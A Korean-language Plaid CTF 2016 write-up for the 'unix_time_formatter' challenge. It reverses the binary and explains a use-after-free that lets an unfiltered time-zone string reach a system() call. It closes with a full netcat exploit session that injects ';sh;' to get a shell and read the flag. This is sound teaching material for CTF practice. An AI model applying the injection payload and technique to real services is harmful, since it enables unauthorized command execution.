unix_time_formatter (76pt) write-up

By rls1004 | May 10, 2016

unix_time_formatter (Plaid CTF 2016 Quals, 76pt) write-up



선원들이 매우 공사다망 하여 정신이 없어도 막내선원은 꿋꿋하게 문제를 풀고 라이트업을 써놓습니다. 허허 거참 넘나 기특한것ㅠ_ㅠ..

막내선원의 Plaid CTF 예선문제 롸잇업 하나 더 퍼다 날라봅니다아 ㅇ<-<




64 bit elf 바이너리가 주어졌습니다.
문제를 보자마자 “커맨드 인젝션은 절대 아닐거야!!”라고 외쳤는데 커맨드 인젝션 문제였습니다 ㅎㅎ;




Reversing



main


  1. Set a time format.
  2. Set a time.
  3. Set a time zone.
  4. Pring your time.
  5. Exit.

5개의 메뉴를 수행할 수 있습니다.




(1) Set a time format



Set a time format – 1

1번 메뉴를 선택하면 0x602118 영역에 어떤 값을 저장합니다.
v0에 저장되는 값을 알기 위해 sub_400D74 함수를 살펴봅시다.



Set a time format – 2

sub_400D74 함수에서 사용자의 입력을 받습니다.
fgets로 입력받은 값을 sub_400C26에 넘기고…



Set a time format – 3

strdup 함수(메모리를 할당하고 문자열을 복제)를 사용하여 복제된 문자열의 주소를 반환합니다.
0x602118 영역에는 사용자가 입력한 문자열의 복제된 문자열이 저장됩니다.



Set a time format – 4

여기에 입력할 수 있는 값은 sub_400CB5 함수에 나타나있는, 알파벳 대소문자와 특수문자 몇 가지 입니다.
이 외의 문자를 입력하면 필터링에 걸립니다.




(2) Set a time



Set a time

2번 메뉴를 선택하면 0x602120 영역에 숫자를 입력할 수 있습니다.
(sub_400D26 함수에서 입력 값을 atoi 함수를 이용해서 숫자로 바꿉니다)




(3) SET A TIME ZONE



Set a time zone

3번 메뉴를 선택하면 value에 값을 저장합니다.
1번 메뉴와 마찬가지로 sub_400D74 함수를 사용하고 있습니다.
value에는 사용자가 입력한 문자열의 복제된 문자열이 저장됩니다.




(4) PRINT YOUR TIME



Print your time

4번 메뉴를 선택하면 command 변수에 /bin/date -d @%d + ‘%s' 문자열을 넣고 system 함수로 command 를 실행합니다.

%d에는 메뉴 2번에서 입력했던 숫자( 0x602120 )가 들어가고 %s에는 1번에서 입력했던 문자( 0x602118 )가 들어갑니다.




(5) Exit



Exit-1

5번 Exit 메뉴입니다.

1번 메뉴로 입력한 문자열( 0x602118 )과 3번 메뉴로 입력한 문자열( value )에 대해 sub_400C7E 함수를 수행한 수, 진짜 종료할 건지를 묻고 있습니다.

sub_400C7E 함수를 먼저 봅시다.



Exit – 2

sub_400C7E 함수에서는 인자로 들어온 값을 free 해주고 있습니다.
즉, 1번 메뉴로 입력한 문자열( 0x602118 )과 3번 메뉴로 입력한 문자열( value )이 free 됩니다.
이때 중요한 사실은 진짜 종료할건지를 물을 때 ‘N’이라고 대답해도 이미 free된 후라는 것입니다.




Vulnerability


  1. 4번 메뉴에서 system 함수로 command를 실행하는데, command에 대해 어떤 필터링도 거치지 않았다.
    – 하지만 commnad에 들어가는 문자열은 1번 메뉴에서 필터링 된다.

  2. strdup 함수는 내부적으로 malloc 함수를 사용한다.

  3. 5번 메뉴를 실행시, 종료를 묻기 전에 1번 메뉴와 3번 메뉴로 입력한 문자열을 free 시킨다.



Use After Free – 1

1번 메뉴로 문자열을 입력한 후 3번 메뉴로 문자열을 입력했을 때 위와 같이 차례대로 힙 영역에 문자열이 할당되고, 0x602118 과 value 는 각각의 영역을 가리키고 있습니다.



Use After Free – 2

5번 메뉴로 둘을 free 시킨 후 3번 메뉴를 실행하면 free 됐던 1번 영역에 3번 문자열이 할당됩니다.
1번은 free 되고 다시 할당되지 않은 상태이기 때문에 1번 문자열과 3번 문자열은 같은 공간을 가리키게 됩니다.
이 상태에서 4번 메뉴를 실행시키면 command의 %s 자리에 3번 메뉴로 입력한 문자열이 들어가게 됩니다.

commnad 는 /bin/date -d @%d + ‘%s' 인데 %s는 '로 감싸져있기 때문에
명령어 치환이 이루어지지 않습니다.( $ ` 등 )

3번 문자열을 입력할 때는 필터링이 전혀 없기 때문에 어떤 문자든지 입력할 수 있습니다.

‘;sh;’ 를 입력하여 앞의 명령어를 종료하고 쉘을 띄웁시다!




Exploit


$ nc unix.pwning.xxx 9999
Welcome to Mary's Unix Time Formatter!
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 1
Format: w
Format set.
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 2
Enter your unix time: 2
Time set.
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 4
Your formatted time is: w
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 5
Are you sure you want to exit (y/N)? n
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 3
Time zone: ';sh;'
Time zone set.
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 4
Your formatted time is: 
id
uid=1001(problem) gid=1001(problem) groups=1001(problem)
ls
flag.txt
unix_time_formatter
wrapper
cat flag.txt
PCTF{use_after_free_isnt_so_bad}


flag : use_after_free_isnt_so_bad


수고하셨습니다!

comments powered by Disqus